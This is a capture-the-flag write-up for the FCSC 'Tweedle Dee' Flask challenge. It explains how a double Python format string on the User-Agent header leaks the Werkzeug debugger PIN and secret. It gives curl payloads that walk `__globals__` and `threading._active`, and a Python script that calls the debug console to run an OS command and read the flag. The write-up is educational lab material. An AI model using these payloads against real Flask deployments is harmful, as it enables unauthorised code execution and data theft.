Difficulty: XXX points | X solves
Description: Au cours de ses aventures au Pays des merveilles, Alice a rencontré une curieuse paire de jumeaux : Tweedledee et Tweedledum. Les deux avaient créé un site web simpliste en utilisant Flask, une réalisation qui a suscité l'intérêt d'Alice. Avec son esprit curieux et son penchant pour la technologie, Alice ne pouvait s'empêcher de se demander si elle pouvait pirater leur création et en découvrir les secrets.
Source: here.
Author: BitK_
This challenge is the second part of Tweedle Dum with a stronger configuration. Because being able to solve Tweedle Dee allows to solve Tweedle Dum, I will only do a write-up for this one.
Accessing the challenge results in the following page:
As we can see, our user agent is reflected. Trying some basic injection like XSS, SQLi... leads to nothing. But, thanks to the sources it will be easier to understand what happens here!
from flask import Flask, request, render_template
app = Flask(__name__)
@app.route("/")
def hello_agent():
ua = request.user_agent
return render_template("index.html", msg=f"Hello {ua}".format(ua=ua))
# TODO: add the vulnerable code here
From the above snippet, we can see that the request.user_agent content is used in a (double) format string before being rendered into the index.html template and sent back to the client.
Another interesting thing is Werkzeug's debug mode, which is activated in the challenge: (it will be useful later)
CMD ["flask", "run", "--host=0.0.0.0", "--debug"]
Finally, the objective of the challenge is to get a remote code execution on the application docker and read the flag file located on the root folder.
RUN pip install --no-cache-dir \
flask==2.2.3 && \
echo $FLAG > "/app/flag-$(head /dev/urandom | md5sum | head -c 32).txt"
This specific context is really interesting for us as it allows to abuse python format string features!
But, before continuing, why is this configuration vulnerable?
A first sight, it might not be obvious but, doing f"Hello {ua}".format(ua=ua) result in a double format string usage.
As you can see from the above code, two format string notations are used on the same input (check python's documentation) which in the case of controlling the x variable allows to read current python process memory.
It is important to notice that this vulnerability only allows you to read into the memory, not calling functions!
More information about this type of vulnerability can be found here.
So, sending the following HTTP request with curl will result in the same behavior 🎉
curl -H "User-Agent: {ua.__init__}" https://tweedle-dee.france-cybersecurity-challenge.fr/
This is great, we are able to read memory, but how this could be useful to get an RCE as we can't call any function?
This is true, this is where the real challenge starts. As we said earlier, the Werkzeug's debug mode is activated. This is really interesting because when the debug mode is activated, it exposes a console, which allows to eval any python code!
def eval(self, code: str) -> t.Any:
return self.console.eval(code)
The only condition for us to execute code is to provide:
So, if we could find a way to get all components values and access an error page, we could hit the console and get the flag!
Yes... But no. In fact, we haven't mentioned it yet, but the web application has an nginx proxy in front with the following configuration:
http {
# retracted
server {
listen 2201;
server_name _;
location /console {
return 403 "Bye";
}
location @error {
return 500 "Bye";
}
location / {
error_page 500 503 @error;
proxy_intercept_errors on;
proxy_pass http://app:5000;
}
}
}
As we can see, the path /console and error pages are not available to us so we need to find another way to go... This is where the format string features will be powerful!
I know that we haven't exploited anything yet and this could be a bit frustrating but, it is important to understand what we have to do to defeat the challenge first! So, before starting to exploit the format string, we need to find a way to interact with the Werkzeug console without accessing /console.
To get this information, a quick look into the Werkzeug source code can give us the response:
def __call__(
self, environ: WSGIEnvironment, start_response: StartResponse
) -> t.Iterable[bytes]:
request = Request(environ)
response = self.debug_application
# if "?__debugger__=yes" -> access console features.
if request.args.get("__debugger__") == "yes":
# command to eval
cmd = request.args.get("cmd")
# we don't need it
arg = request.args.get("f")
# secret value
secret = request.args.get("s")
# frame context in which the code will be evaluated (frame ~ thread)
frame = self.frames.get(request.args.get("frm", type=int))
if cmd == "resource" and arg:
response = self.get_resource(request, arg)
elif cmd == "pinauth" and secret == self.secret:
response = self.pin_auth(request)
elif cmd == "printpin" and secret == self.secret:
response = self.log_pin_request()
elif (
self.evalex
and cmd is not None
and frame is not None
and self.secret == secret
and self.check_pin_trust(environ)
):
# if we are authenticated with pin + secret we can exec code :)
response = self.execute_command(request, cmd, frame)
elif (
self.evalex
and self.console_path is not None
and request.path == self.console_path
):
response = self.display_console(request)
return response(environ, start_response)
From the above code, we learn that querying the application with the request below will allow us to interact with the console!
from flask import Flask
app = Flask(__name__)
app.config["DEBUG"] = True
@app.route("/")
def index():
return ""
app.run("0.0.0.0", 5000)
from requests import session
url = "http://localhost:5000/" # notice that we aren't querying /console
pin = "666-890-003" # from the terminal
secret = "hTypATSDBxSUc99LV3Ja" # from /console
frameid = "0"
cmd = "print(1)"
# authenticated to the console
s = session()
s.get("%s?__debugger__=yes&cmd=pinauth&pin=%s&s=%s" % (url, pin, secret))
# exec the command :)
r = s.get("%s?__debugger__=yes&cmd=%s&frm=%s&s=%s" % (url, cmd, frameid, secret))
print(r.text)
If we sum up, we have the following context:
So, let's finally use the format string issue :)
For this part, 2 methods can be used:
As I'm not a big fan of bruteforcing to get a solution, we are going to cover the way I solved the challenge, the second one!
I won't go deep into reverse details as it would be too long for this write-up but, I can give you an overview of the approach I used to solve it.
Joke aside, I mostly:
import traceback
for l in traceback.format_stack():
print(l.strip())
from gc import get_objects
get_objects()
My debug application was looking like this:
from flask import Flask, request
from gc import get_objects
import traceback
app = Flask(__name__)
app.config["DEBUG"] = True
@app.route("/")
def index():
print("\n============")
ua = request.user_agent
x = ua.__init__ # change this value and curl the / route
print(x)
print(type(x))
print(dir(x))
print("============\n")
return ""
@app.route("/gc")
def gcc():
return str(get_objects())
app.run("0.0.0.0", 5000)
This isn't really clean, but thanks to this I could understand in which order each function was called! Here is a small summary of the call graph:
List of objects that contain the secret and the pin:
Interesting references:
Nice work, but you still have nothing right? :)
Yes... all interesting objects are created dynamically making them impossible to be retrieved by the format string... But! As you can see from the above call graph, Werkzeug use a new thread for each new request. And you know what? The entry point of the new thread is a method of an object that contains what we are looking for!
What is your point?
If we can someway access the frame object associated with our current thread, we might be able to get everything we need! Thanks to the sys.modules reference, it is possible to dig into the threading library which is used to do exactly what we were describing.
curl -H "User-Agent: {ua.__class__.__init__.__globals__[t].sys.modules[threading].__dict__}" https://tweedle-dee.france-cybersecurity-challenge.fr/
As we can see, the threading module as an attribute _active that contains a list of currently active frames 🔥
curl -H "User-Agent: {ua.__class__.__init__.__globals__[t].sys.modules[threading]._active}" https://tweedle-dee.france-cybersecurity-challenge.fr/
If we reuse everything detailed before, we can find our secret and pin values 🎉
curl -H "User-Agent: {ua.__class__.__init__.__globals__[t].sys.modules[threading]._active[115122702797624]._target.__self__.app.pin}" https://tweedle-dee.france-cybersecurity-challenge.fr/
# 840-396-786
curl -H "User-Agent: {ua.__class__.__init__.__globals__[t].sys.modules[threading]._active[115122702797624]._target.__self__.app.secret}" https://tweedle-dee.france-cybersecurity-challenge.fr/
# 8uERxYCjtpHmdKO6qHPO
from requests import session
url = "https://tweedle-dee.france-cybersecurity-challenge.fr/" # notice that we aren't quering /console
pin = "840-396-786"
secret = "8uERxYCjtpHmdKO6qHPO"
# take a random id via {ua.__class__.__init__.__globals__[t].sys.modules[threading]._active[115122702797624]._target.__self__.app.__dict__}
frameid = "115122707146880"
cmd = "__import__('os').popen('cat flag*').read()"
# authenticated to the console
s = session()
s.get("%s?__debugger__=yes&cmd=pinauth&pin=%s&s=%s" % (url, pin, secret))
# exec the command :)
r = s.get("%s?__debugger__=yes&cmd=%s&frm=%s&s=%s" % (url, cmd, frameid, secret))
print(r.text)
Flag: FCSC{2c149fdce9b3db514fa6adf094121999fea5c38fbb3370350d90925238499cf2} 🎉